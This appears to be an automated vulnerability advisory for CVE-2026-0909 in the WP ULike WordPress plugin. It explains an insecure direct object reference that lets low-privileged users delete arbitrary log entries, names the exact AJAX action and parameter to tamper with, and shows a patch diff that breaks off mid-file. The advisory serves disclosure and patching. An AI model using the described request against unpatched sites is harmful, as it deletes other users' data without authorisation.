Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0909: WP ULike <= 4.8.3.1 – Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Log Deletion via 'id' Parameter (wp-ulike)

CVE ID CVE-2026-0909
Plugin wp-ulike
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 4.8.3.1
Patched Version 5.0.0
Disclosed February 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0909:
The WP ULike plugin for WordPress contains an Insecure Direct Object Reference (IDOR) vulnerability in versions up to and including 4.8.3.1. This vulnerability allows authenticated users with Subscriber-level access or higher to delete arbitrary log entries belonging to other users. The issue resides in the AJAX handler for log deletion, which fails to verify ownership of the target log entry.

Atomic Edge research identifies the root cause in the wp_ulike_delete_history_api function within /wp-ulike/admin/admin-ajax.php. The function at line 76 performs only two checks: a capability check via current_user_can(wp_ulike_get_user_access_capability(‘stats’)) and a nonce validation via wp_ulike_is_valid_nonce. After passing these checks, the function directly processes the ‘id’ parameter from $_POST without verifying that the log entry belongs to the requesting user. This missing ownership check creates the IDOR condition.

The exploitation method requires an authenticated attacker with at least Subscriber privileges and the ‘stats’ capability. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=wp_ulike_delete_history_api and an ‘id’ parameter containing the target log entry ID. The request must include a valid nonce, which the attacker can obtain from their own session. By manipulating the ‘id’ parameter, the attacker can delete any log entry in the system, regardless of ownership.

The patch modifies the capability check in wp_ulike_delete_history_api at line 76. It replaces current_user_can(wp_ulike_get_user_access_capability(‘stats’)) with current_user_can(‘manage_options’). This change restricts the function to administrators only, effectively preventing Subscriber-level users from accessing the deletion functionality. The patch does not add ownership verification but elevates the required privilege level beyond what attackers typically possess.

Successful exploitation allows attackers to delete arbitrary log entries from the WP ULike system. This can disrupt site analytics, remove evidence of user interactions, and potentially affect functionality that depends on log data. While the vulnerability does not directly enable privilege escalation or remote code execution, it represents a data integrity issue that could be leveraged in coordinated attacks against site administrators or user engagement tracking.

Differential between vulnerable and patched code

Code Diff
--- a/wp-ulike/admin/admin-ajax.php
+++ b/wp-ulike/admin/admin-ajax.php
@@ -3,7 +3,7 @@
  * Back-end AJAX Functionalities
  *
  * @package    wp-ulike
- * @author     TechnoWich 2025
+ * @author     TechnoWich 2026
  * @link       https://wpulike.com
  */

@@ -76,7 +76,7 @@
  * @return void
  */
 function wp_ulike_delete_history_api(){
-	if( ! current_user_can( wp_ulike_get_user_access_capability('stats') ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
 		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
 	}

@@ -238,6 +238,12 @@
 		'Data will appear here once it becomes available.'	=> esc_html__( 'Data will appear here once it becomes available.', 'wp-ulike' ),
 		'Check the URL or return to the homepage.'	=> esc_html__( 'Check the URL or return to the homepage.', 'wp-ulike' ),

+		// License
+		'License Not Found!'	=> esc_html__( 'License Not Found!', 'wp-ulike' ),
+		'The license you provided is invalid or could not be found. Please verify your license key or purchase a new license to continue using the pro features.' => esc_html__( 'The license you provided is invalid or could not be found. Please verify your license key or purchase a new license to continue using the pro features.', 'wp-ulike' ),
+		'Get License'	=> esc_html__( 'Get License', 'wp-ulike' ),
+		'If you believe this is an error, please contact support or try refreshing the page.'	=> esc_html__( 'If you believe this is an error, please contact support or try refreshing the page.', 'wp-ulike' ),
+
 		// Banners
 		'Unlock Your Website's True Potential!' => esc_html__( 'Unlock Your Website's True Potential!', 'wp-ulike'),
 		'Imagine knowing exactly what makes your content shine and how to connect with the fans who'll help you grow. Picture having the tools to make smarter decisions, boost your engagement, and take your website to the next level. Ready to uncover what's possible?' => esc_html__( 'Imagine knowing exactly what makes your content shine and how to connect with the fans who'll help you grow. Picture having the tools to make smarter decisions, boost your engagement, and take your website to the next level. Ready to uncover what's possible?', 'wp-ulike'),
@@ -265,3 +271,170 @@
 }
 add_action('wp_ajax_wp_ulike_localization','wp_ulike_localization_api');

+/**
+ * Settings schema api
+ *
+ * @return void
+ */
+function wp_ulike_schema_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get settings API instance
+	if ( class_exists( 'wp_ulike_settings_api' ) ) {
+		$settings_api = new wp_ulike_settings_api();
+		$schema = $settings_api->get_schema();
+		wp_send_json_success( $schema );
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Settings API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_schema_api','wp_ulike_schema_api');
+
+/**
+ * Settings values api
+ *
+ * @return void
+ */
+function wp_ulike_settings_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get settings API instance
+	if ( class_exists( 'wp_ulike_settings_api' ) ) {
+		$settings_api = new wp_ulike_settings_api();
+		$values = $settings_api->get_settings( null );
+		wp_send_json_success( $values );
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Settings API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_settings_api','wp_ulike_settings_api');
+
+/**
+ * Save settings api
+ *
+ * @return void
+ */
+function wp_ulike_save_settings_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get JSON data from request body
+	$json = file_get_contents( 'php://input' );
+	$values = json_decode( $json, true );
+
+	if ( ! is_array( $values ) ) {
+		wp_send_json_error( esc_html__( 'Error: Invalid request data. Expected an object with setting values.', 'wp-ulike' ) );
+	}
+
+	// Get settings API instance
+	if ( class_exists( 'wp_ulike_settings_api' ) ) {
+		$settings_api = new wp_ulike_settings_api();
+		$result = $settings_api->save_settings( $values );
+
+		if ( is_wp_error( $result ) ) {
+			wp_send_json_error( $result->get_error_message() );
+		} else {
+			wp_send_json_success( $result );
+		}
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Settings API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_save_settings_api','wp_ulike_save_settings_api');
+
+
+/**
+ * Customizer schema api
+ *
+ * @return void
+ */
+function wp_ulike_customizer_schema_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get customizer API instance
+	if ( class_exists( 'wp_ulike_customizer_api' ) ) {
+		$customizer_api = new wp_ulike_customizer_api();
+		$schema = $customizer_api->get_schema();
+		wp_send_json_success( $schema );
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Customizer API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_customizer_schema_api','wp_ulike_customizer_schema_api');
+
+/**
+ * Customizer values api
+ *
+ * @return void
+ */
+function wp_ulike_customizer_values_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get customizer API instance
+	if ( class_exists( 'wp_ulike_customizer_api' ) ) {
+		$customizer_api = new wp_ulike_customizer_api();
+		$values = $customizer_api->get_values( null );
+		wp_send_json_success( $values );
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Customizer API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_customizer_values_api','wp_ulike_customizer_values_api');
+
+/**
+ * Save customizer api
+ *
+ * @return void
+ */
+function wp_ulike_save_customizer_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get JSON data from request body
+	$json = file_get_contents( 'php://input' );
+	$values = json_decode( $json, true );
+
+	if ( ! is_array( $values ) ) {
+		wp_send_json_error( esc_html__( 'Error: Invalid request data. Expected an object with customizer values.', 'wp-ulike' ) );
+	}
+
+	// Get customizer API instance
+	if ( class_exists( 'wp_ulike_customizer_api' ) ) {
+		$customizer_api = new wp_ulike_customizer_api();
+		$customizer_api->save_values( $values );
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Customizer API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_save_customizer_api','wp_ulike_save_customizer_api');
+
+/**
+ * Customizer preview api
+ *
+ * @return void
+ */
+function wp_ulike_customizer_preview_api(){
+	if( ! current_user_can( 'manage_options' ) || ! wp_ulike_is_valid_nonce( WP_ULIKE_SLUG ) ){
+		wp_send_json_error( esc_html__( 'Error: You do not have permission to do that.', 'wp-ulike' ) );
+	}
+
+	// Get customizer API instance
+	if ( class_exists( 'wp_ulike_customizer_api' ) ) {
+		$customizer_api = new wp_ulike_customizer_api();
+		$customizer_api->get_preview( null );
+	} else {
+		wp_send_json_error( esc_html__( 'Error: Customizer API not available.', 'wp-ulike' ) );
+	}
+}
+add_action('wp_ajax_wp_ulike_customizer_preview_api','wp_ulike_customizer_preview_api');
+
--- a/wp-ulike/admin/admin-functions.php
+++ b/wp-ulike/admin/admin-functions.php
@@ -3,7 +3,7 @@
  * Admin Functions
  *
  * @package    wp-ulike
- * @author     TechnoWich 2025
+ * @author     TechnoWich 2026
  * @link       https://wpulike.com
  */

@@ -277,24 +277,6 @@
 	$notice_instance->render();
 }

-/**
- * Stores css content in custom css file (#admin)
- *
- * @return boolean            Returns true if the file is created and updated successfully, false on failure
- */
-function wp_ulike_save_custom_css(){
-    $css_string = wp_ulike_get_custom_style();
-    $css_string = wp_ulike_minify_css( $css_string );
-
-    if ( ! empty( $css_string ) && wp_ulike_put_contents_dir( $css_string, 'custom.css' ) ) {
-        update_option( 'wp_ulike_use_inline_custom_css' , 0 ); // disable inline css output
-        return true;
-    // if the directory is not writable, try inline css fallback
-    } else {
-        update_option( 'wp_ulike_use_inline_custom_css' , 1 ); // save css rules as option to print as inline css
-        return false;
-    }
-}

 /**
  * Minify CSS
--- a/wp-ulike/admin/admin-hooks.php
+++ b/wp-ulike/admin/admin-hooks.php
@@ -3,7 +3,7 @@
  * Admin Hooks
  *
  * @package    wp-ulike
- * @author     TechnoWich 2025
+ * @author     TechnoWich 2026
  * @link       https://wpulike.com
  */

@@ -41,24 +41,6 @@
 add_filter( 'admin_footer_text', 'wp_ulike_copyright' );


-/**
- * Filters a screen option value before it is set.
- *
- * @param string $status
- * @param string $option The option name.
- * @param string $value The number of rows to use.
- * @return string
- */
-function wp_ulike_logs_per_page_set_option( $status, $option, $value ) {
-
-	if ( 'wp_ulike_logs_per_page' == $option ) {
-		return $value;
-	}
-
-	return $status;
-}
-add_filter( 'set-screen-option', 'wp_ulike_logs_per_page_set_option', 10, 3 );
-
  /**
   * The Filter is used at the very end of the get_avatar() function
   *
@@ -299,38 +281,6 @@
 				)
 			]);
 		}
-		if( strpos( $screen->base, WP_ULIKE_SLUG ) !== false ){
-			$notice_list[ 'wp_ulike_pro_user_profiles' ] = new wp_ulike_notices([
-				'id'          => 'wp_ulike_pro_user_profiles',
-				'title'       => esc_html__( 'Create Beautiful User Profiles Your Community Will Love! 🎨', 'wp-ulike' ),
-				'description' => esc_html__( 'Want to take your community engagement to the next level? With WP ULike Pro, you can build stunning Instagram-style user profiles that keep users coming back! Get modern layouts, smooth avatar uploads, engagement tools, secure login, and more — all optimized for mobile and built without jQuery. Perfect for communities, courses, marketplaces, and membership sites!', 'wp-ulike' ),
-				'skin'        => 'default',
-				'has_close'   => true,
-				'buttons'     => array(
-					array(
-						'label'      => esc_html__( "✨ Discover Profile Builder", 'wp-ulike' ),
-						'link'       => WP_ULIKE_PLUGIN_URI . 'blog/best-wordpress-profile-builder-plugin/?utm_source=settings-page-banner&utm_campaign=gopro&utm_medium=wp-dash',
-						'color_name' => 'default'
-					),
-					array(
-						'label'      => esc_html__('Maybe Later', 'wp-ulike'),
-						'type'       => 'skip',
-						'color_name' => 'info',
-						'expiration' => WEEK_IN_SECONDS * 2
-					),
-					array(
-						'label'      => esc_html__('Don't Ask Again', 'wp-ulike'),
-						'type'       => 'skip',
-						'color_name' => 'info',
-						'expiration' => YEAR_IN_SECONDS * 10
-					)
-				),
-				'image'     => array(
-					'width' => '100',
-					'src'   => WP_ULIKE_ASSETS_URL . '/img/svg/profiles.svg'
-				)
-			]);
-		}
 	}

     $notice_list = apply_filters( 'wp_ulike_admin_notices_instances', $notice_list );
@@ -388,179 +338,6 @@


 /**
- * Upgarde old option values
- *
- * @return void
- */
-function wp_ulike_upgrade_deprecated_options_value(){
-
-	$is_deprecated_enabled     = wp_ulike_get_option( 'enable_deprecated_options' );
-	$deprecated_options_status = get_option( 'wp_ulike_deprecated_options_status', false );
-
-	if( ! wp_ulike_is_true( $is_deprecated_enabled ) || $deprecated_options_status ){
-		return;
-	}
-
-	$get_general_options    = get_option( 'wp_ulike_general', array() );
-	$get_posts_options      = get_option( 'wp_ulike_posts', array() );
-	$get_comments_options   = get_option( 'wp_ulike_comments', array() );
-	$get_buddypress_options = get_option( 'wp_ulike_buddypress', array() );
-	$get_bbpress_options    = get_option( 'wp_ulike_bbpress', array() );
-	$get_customize_options  = get_option( 'wp_ulike_customize', array() );
-
-	$final_options_stack    = array();
-
-	// Update general options
-	if( !empty( $get_posts_options ) ){
-		$final_options_stack = array (
-			'enable_kilobyte_format'    => !empty($get_general_options['format_number']) ? $get_general_options['format_number'] : false,
-			'enable_toast_notice'       => !empty($get_general_options['notifications']) ? $get_general_options['notifications'] : true,
-			'enable_anonymise_ip'       => !empty($get_general_options['anonymise']) ? $get_general_options['anonymise'] : false,
-			'disable_admin_notice'      => !empty($get_general_options['hide_admin_notice']) ? $get_general_options['hide_admin_notice'] : true,
-			'enable_meta_values'        => !empty($get_general_options['enable_meta_values']) ? $get_general_options['enable_meta_values'] : false,
-			'already_registered_notice' => !empty($get_general_options['permission_text']) ? $get_general_options['permission_text'] : 'You have already registered a vote.',
-			'login_required_notice'     => !empty($get_general_options['login_text']) ? $get_general_options['permission_text'] : 'You Should Login To Submit Your Like',
-			'like_notice'               => !empty($get_general_options['like_notice']) ? $get_general_options['like_notice'] : 'Thanks! You liked This.',
-			'unlike_notice'             => !empty($get_general_options['unlike_notice']) ? $get_general_options['unlike_notice'] : 'Sorry! You unliked this.',
-			'dislike_notice'            => !empty($get_general_options['dislike_notice']) ? $get_general_options['dislike_notice'] : 'Sorry! You disliked this.',
-			'undislike_notice'          => !empty($get_general_options['undislike_notice']) ? $get_general_options['undislike_notice'] : 'Thanks! You undisliked This.',
-			'custom_css'                => !empty($get_customize_options['custom_css']) ? $get_customize_options['custom_css'] : '',
-			'enable_deprecated_options' => true,
-		);
-	}
-
-	// Update posts options
-	if( !empty( $get_posts_options ) ){
-		$final_options_stack['posts_group'] = array (
-			'template'    => !empty($get_posts_options['theme']) ? $get_posts_options['theme'] : 'wpulike-default',
-			'button_type' => !empty($get_general_options['button_type']) ? $get_general_options['button_type'] : 'image',
-			'text_group'  => array (
-				'like'      => !empty($get_general_options['button_text']) ? $get_general_options['button_text'] : 'Like',
-				'unlike'    => !empty($get_general_options['button_text_u']) ? $get_general_options['button_text_u'] : 'Liked',
-				'dislike'   => !empty($get_general_options['dislike_text']) ? $get_general_options['dislike_text'] : 'Dislike',
-				'undislike' => !empty($get_general_options['undislike_text']) ? $get_general_options['undislike_text'] : 'Disliked'
-			),
-			'image_group' => array (
-				'like'      => !empty($get_general_options['button_url']) ? $get_general_options['button_url'] : '',
-				'unlike'    => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-				'dislike'   => !empty($get_general_options['button_texbutton_urlt']) ? $get_general_options['button_url'] : '',
-				'undislike' => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-			),
-			'enable_auto_display'         => !empty($get_posts_options['auto_display']) ? $get_posts_options['auto_display'] : false,
-			'auto_display_position'       => !empty($get_posts_options['auto_display_position']) ? $get_posts_options['auto_display_position'] : 'bottom',
-			'auto_display_filter'         => !empty($get_posts_options['auto_display_filter']) ? wp_ulike_convert_old_options_array( $get_posts_options['auto_display_filter'] ) : '',
-			'logging_method'              => !empty($get_posts_options['logging_method']) ? $get_posts_options['logging_method'] : 'by_username',
-			'enable_only_logged_in_users' => !empty($get_posts_options['only_registered_users']) ? $get_posts_options['only_registered_users'] : false,
-			'logged_out_display_type'     => !empty($get_general_options['login_type']) ? $get_general_options['login_type'] : 'button',
-			'enable_likers_box'           => !empty($get_posts_options['users_liked_box']) ? $get_posts_options['users_liked_box'] : false,
-			'disable_likers_pophover'     => !empty($get_posts_options['disable_likers_pophover']) ? $get_posts_options['disable_likers_pophover'] : false,
-			'likers_gravatar_size'        => !empty($get_posts_options['users_liked_box_avatar_size']) ? $get_posts_options['users_liked_box_avatar_size'] : 64,
-			'likers_count'                => !empty($get_posts_options['number_of_users']) ? $get_posts_options['number_of_users'] : 10,
-			'likers_template'             => !empty($get_posts_options['likers_template']) ? $get_posts_options['likers_template'] : '<div class="wp-ulike-likers-list">%START_WHILE%<span class="wp-ulike-liker"><a href="#" title="%USER_NAME%">%USER_AVATAR%</a></span>%END_WHILE%</div>',
-		);
-	}
-	// Update comments options
-	if( !empty( $get_comments_options ) ){
-		$final_options_stack['comments_group'] = array (
-			'template'    => !empty($get_comments_options['theme']) ? $get_comments_options['theme'] : 'wpulike-default',
-			'button_type' => !empty($get_general_options['button_type']) ? $get_general_options['button_type'] : 'image',
-			'text_group'  => array (
-				'like'      => !empty($get_general_options['button_text']) ? $get_general_options['button_text'] : 'Like',
-				'unlike'    => !empty($get_general_options['button_text_u']) ? $get_general_options['button_text_u'] : 'Liked',
-				'dislike'   => !empty($get_general_options['dislike_text']) ? $get_general_options['dislike_text'] : 'Dislike',
-				'undislike' => !empty($get_general_options['undislike_text']) ? $get_general_options['undislike_text'] : 'Disliked'
-			),
-			'image_group' => array (
-				'like'      => !empty($get_general_options['button_url']) ? $get_general_options['button_url'] : '',
-				'unlike'    => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-				'dislike'   => !empty($get_general_options['button_texbutton_urlt']) ? $get_general_options['button_url'] : '',
-				'undislike' => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-			),
-			'enable_auto_display'         => !empty($get_comments_options['auto_display']) ? $get_comments_options['auto_display'] : false,
-			'auto_display_position'       => !empty($get_comments_options['auto_display_position']) ? $get_comments_options['auto_display_position'] : 'bottom',
-			'logging_method'              => !empty($get_comments_options['logging_method']) ? $get_comments_options['logging_method'] : 'by_username',
-			'enable_only_logged_in_users' => !empty($get_comments_options['only_registered_users']) ? $get_comments_options['only_registered_users'] : false,
-			'logged_out_display_type'     => !empty($get_general_options['login_type']) ? $get_general_options['login_type'] : 'button',
-			'enable_likers_box'           => !empty($get_comments_options['users_liked_box']) ? $get_comments_options['users_liked_box'] : false,
-			'disable_likers_pophover'     => !empty($get_comments_options['disable_likers_pophover']) ? $get_comments_options['disable_likers_pophover'] : false,
-			'likers_gravatar_size'        => !empty($get_comments_options['users_liked_box_avatar_size']) ? $get_comments_options['users_liked_box_avatar_size'] : 64,
-			'likers_count'                => !empty($get_comments_options['number_of_users']) ? $get_comments_options['number_of_users'] : 10,
-			'likers_template'             => !empty($get_comments_options['likers_template']) ? $get_comments_options['likers_template'] : '<div class="wp-ulike-likers-list">%START_WHILE%<span class="wp-ulike-liker"><a href="#" title="%USER_NAME%">%USER_AVATAR%</a></span>%END_WHILE%</div>',
-		);
-	}
-	// Update buddyPress options
-	if( !empty( $get_buddypress_options ) ){
-		$final_options_stack['buddypress_group'] = array (
-			'template'    => !empty($get_buddypress_options['theme']) ? $get_buddypress_options['theme'] : 'wpulike-default',
-			'button_type' => !empty($get_general_options['button_type']) ? $get_general_options['button_type'] : 'image',
-			'text_group'  => array (
-				'like'      => !empty($get_general_options['button_text']) ? $get_general_options['button_text'] : 'Like',
-				'unlike'    => !empty($get_general_options['button_text_u']) ? $get_general_options['button_text_u'] : 'Liked',
-				'dislike'   => !empty($get_general_options['dislike_text']) ? $get_general_options['dislike_text'] : 'Dislike',
-				'undislike' => !empty($get_general_options['undislike_text']) ? $get_general_options['undislike_text'] : 'Disliked'
-			),
-			'image_group' => array (
-				'like'      => !empty($get_general_options['button_url']) ? $get_general_options['button_url'] : '',
-				'unlike'    => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-				'dislike'   => !empty($get_general_options['button_texbutton_urlt']) ? $get_general_options['button_url'] : '',
-				'undislike' => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-			),
-			'enable_auto_display'            => !empty($get_buddypress_options['auto_display']) ? $get_buddypress_options['auto_display'] : false,
-			'auto_display_position'          => !empty($get_buddypress_options['auto_display_position']) ? $get_buddypress_options['auto_display_position'] : 'content',
-			'logging_method'                 => !empty($get_buddypress_options['logging_method']) ? $get_buddypress_options['logging_method'] : 'by_username',
-			'enable_only_logged_in_users'    => !empty($get_buddypress_options['only_registered_users']) ? $get_buddypress_options['only_registered_users'] : false,
-			'logged_out_display_type'        => !empty($get_general_options['login_type']) ? $get_general_options['login_type'] : 'button',
-			'enable_likers_box'              => !empty($get_buddypress_options['users_liked_box']) ? $get_buddypress_options['users_liked_box'] : false,
-			'disable_likers_pophover'        => !empty($get_buddypress_options['disable_likers_pophover']) ? $get_buddypress_options['disable_likers_pophover'] : false,
-			'likers_gravatar_size'           => !empty($get_buddypress_options['users_liked_box_avatar_size']) ? $get_buddypress_options['users_liked_box_avatar_size'] : 64,
-			'likers_count'                   => !empty($get_buddypress_options['number_of_users']) ? $get_buddypress_options['number_of_users'] : 10,
-			'likers_template'                => !empty($get_buddypress_options['likers_template']) ? $get_buddypress_options['likers_template'] : '<div class="wp-ulike-likers-list">%START_WHILE%<span class="wp-ulike-liker"><a href="#" title="%USER_NAME%">%USER_AVATAR%</a></span>%END_WHILE%</div>',
-			'enable_comments'                => !empty($get_buddypress_options['activity_comment']) ? $get_buddypress_options['activity_comment'] : false,
-			'enable_add_bp_activity'         => !empty($get_buddypress_options['new_likes_activity']) ? $get_buddypress_options['new_likes_activity'] : false,
-			'posts_notification_template'    => !empty($get_buddypress_options['bp_post_activity_add_header']) ? $get_buddypress_options['bp_post_activity_add_header'] : '<strong>%POST_LIKER%</strong> liked <a href="%POST_PERMALINK%" title="%POST_TITLE%">%POST_TITLE%</a>. (So far, This post has <span class="badge">%POST_COUNT%</span> likes)',
-			'comments_notification_template' => !empty($get_buddypress_options['bp_comment_activity_add_header']) ? $get_buddypress_options['bp_comment_activity_add_header'] : '<strong>%POST_LIKER%</strong> liked <a href="%POST_PERMALINK%" title="%POST_TITLE%">%POST_TITLE%</a>. (So far, This post has <span class="badge">%POST_COUNT%</span> likes)',
-			'enable_add_notification'        => !empty($get_buddypress_options['custom_notification']) ? $get_buddypress_options['custom_notification'] : false
-		);
-	}
-	// Update bbPress options
-	if( !empty( $get_bbpress_options ) ){
-		$final_options_stack['bbpress_group'] = array (
-			'template'    => !empty($get_bbpress_options['theme']) ? $get_bbpress_options['theme'] : 'wpulike-default',
-			'button_type' => !empty($get_general_options['button_type']) ? $get_general_options['button_type'] : 'image',
-			'text_group'  => array (
-				'like'      => !empty($get_general_options['button_text']) ? $get_general_options['button_text'] : 'Like',
-				'unlike'    => !empty($get_general_options['button_text_u']) ? $get_general_options['button_text_u'] : 'Liked',
-				'dislike'   => !empty($get_general_options['dislike_text']) ? $get_general_options['dislike_text'] : 'Dislike',
-				'undislike' => !empty($get_general_options['undislike_text']) ? $get_general_options['undislike_text'] : 'Disliked'
-			),
-			'image_group' => array (
-				'like'      => !empty($get_general_options['button_url']) ? $get_general_options['button_url'] : '',
-				'unlike'    => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-				'dislike'   => !empty($get_general_options['button_texbutton_urlt']) ? $get_general_options['button_url'] : '',
-				'undislike' => !empty($get_general_options['button_url_u']) ? $get_general_options['button_url_u'] : '',
-			),
-			'enable_auto_display'         => !empty($get_bbpress_options['auto_display']) ? $get_bbpress_options['auto_display'] : false,
-			'auto_display_position'       => !empty($get_bbpress_options['auto_display_position']) ? $get_bbpress_options['auto_display_position'] : 'bottom',
-			'logging_method'              => !empty($get_bbpress_options['logging_method']) ? $get_bbpress_options['logging_method'] : 'by_username',
-			'enable_only_logged_in_users' => !empty($get_bbpress_options['only_registered_users']) ? $get_bbpress_options['only_registered_users'] : false,
-			'logged_out_display_type'     => !empty($get_general_options['login_type']) ? $get_general_options['login_type'] : 'button',
-			'enable_likers_box'           => !empty($get_bbpress_options['users_liked_box']) ? $get_bbpress_options['users_liked_box'] : false,
-			'disable_likers_pophover'     => !empty($get_bbpress_options['disable_likers_pophover']) ? $get_bbpress_options['disable_likers_pophover'] : false,
-			'likers_gravatar_size'        => !empty($get_bbpress_options['users_liked_box_avatar_size']) ? $get_bbpress_options['users_liked_box_avatar_size'] : 64,
-			'likers_count'                => !empty($get_bbpress_options['number_of_users']) ? $get_bbpress_options['number_of_users'] : 10,
-			'likers_template'             => !empty($get_bbpress_options['likers_template']) ? $get_bbpress_options['likers_template'] : '<div class="wp-ulike-likers-list">%START_WHILE%<span class="wp-ulike-liker"><a href="#" title="%USER_NAME%">%USER_AVATAR%</a></span>%END_WHILE%</div>'
-		);
-	}
-
-	// Update flag option
-	update_option( 'wp_ulike_deprecated_options_status', true );
-	// Update option values
-	update_option( 'wp_ulike_settings', $final_options_stack  );
-}
-// add_action( 'admin_init', 'wp_ulike_upgrade_deprecated_options_value' );
-
-
-/**
  * Display custom column content
  *
  * @param   array  		$column
@@ -765,4 +542,49 @@

 	return $options;
 }
-add_filter( 'wp_ulike_panel_customization', 'wp_ulike_panel_customization_section', 10, 1 );
 No newline at end of file
+add_filter( 'wp_ulike_panel_customization', 'wp_ulike_panel_customization_section', 10, 1 );
+
+/**
+ * Stores css content in custom css file when settings or customizer are saved
+ * Always tries to generate the file regardless of user preference (for debugging/inspection)
+ * User preference only controls the delivery method (file vs inline)
+ *
+ * @param array $values The saved values (not used but available)
+ * @return boolean Returns true if the file is created and updated successfully, false on failure
+ */
+function wp_ulike_save_custom_css( $values = null ){
+    $css_string = wp_ulike_get_custom_style();
+    $css_string = wp_ulike_minify_css( $css_string );
+
+    if ( ! empty( $css_string ) && wp_ulike_put_contents_dir( $css_string, 'custom.css' ) ) {
+        // File created successfully - directory is writable
+        update_option( 'wp_ulike_use_inline_custom_css' , 0 );
+        return true;
+    } else {
+        // File creation failed - directory not writable, must use inline fallback
+        update_option( 'wp_ulike_use_inline_custom_css' , 1 );
+        return false;
+    }
+}
+// Hook to save CSS file when settings are saved
+add_action( 'wp_ulike_settings_saved', 'wp_ulike_save_custom_css', 15, 1 );
+// Hook to save CSS file when customizer is saved
+add_action( 'wp_ulike_customizer_saved', 'wp_ulike_save_custom_css', 15, 1 );
+
+/**
+ * Clear CSS generator cache when customizer is saved
+ * This ensures cache is cleared AFTER new values are saved
+ *
+ * @param array $new_values Optional. New customizer values
+ * @return void
+ */
+function wp_ulike_clear_css_generator_cache( $new_values = null ) {
+	if ( class_exists( 'wp_ulike_css_generator' ) ) {
+		$css_generator = new wp_ulike_css_generator();
+		if ( method_exists( $css_generator, 'clear_cache' ) ) {
+			$css_generator->clear_cache( $new_values );
+		}
+	}
+}
+// Hook to clear CSS cache when customizer is saved
+add_action( 'wp_ulike_customizer_saved', 'wp_ulike_clear_css_generator_cache', 10, 1 );
 No newline at end of file
--- a/wp-ulike/admin/classes/class-wp-ulike-admin-assets.php
+++ b/wp-ulike/admin/classes/class-wp-ulike-admin-assets.php
@@ -3,7 +3,7 @@
  * Wp ULike Admin Scripts Class.
  *
  * @package    wp-ulike
- * @author     TechnoWich 2025
+ * @author     TechnoWich 2026
  * @link       https://wpulike.com
 */

@@ -33,6 +33,7 @@
 			// general assets
 			$this->load_styles();
 			$this->load_statistics_app();
+			$this->load_optiwich_app();
 		}


@@ -98,6 +99,62 @@
 				));
 			}
 		}
+
+		/**
+		 * Load Optiwich settings app
+		 *
+		 * @return void
+		 */
+		function load_optiwich_app(){
+			// only load on settings menu page or customizer
+			if ( strpos( $this->hook, WP_ULIKE_SLUG ) !== false && preg_match("/(settings|customize)/i", $this->hook )  ) {
+				// Enqueue WordPress media library (required for upload fields)
+				wp_enqueue_media();
+
+				// Enqueue Optiwich CSS
+				wp_enqueue_style(
+					'wp-ulike-optiwich',
+					WP_ULIKE_ADMIN_URL . '/includes/optiwich/style.css',
+					array(),
+					WP_ULIKE_VERSION
+				);
+
+				// Enqueue Optiwich JS
+				wp_enqueue_script(
+					'wp-ulike-optiwich',
+					WP_ULIKE_ADMIN_URL . '/includes/optiwich/optiwich.umd.js',
+					array(),
+					WP_ULIKE_VERSION,
+					true
+				);
+
+				// Get translations from settings API
+				$translations = array();
+				if ( class_exists( 'wp_ulike_settings_api' ) ) {
+					$settings_api = new wp_ulike_settings_api();
+					$translations = $settings_api->get_translations();
+				}
+
+				// Pass the app config to the frontend
+				wp_localize_script( 'wp-ulike-optiwich', 'OptiwichConfig', array(
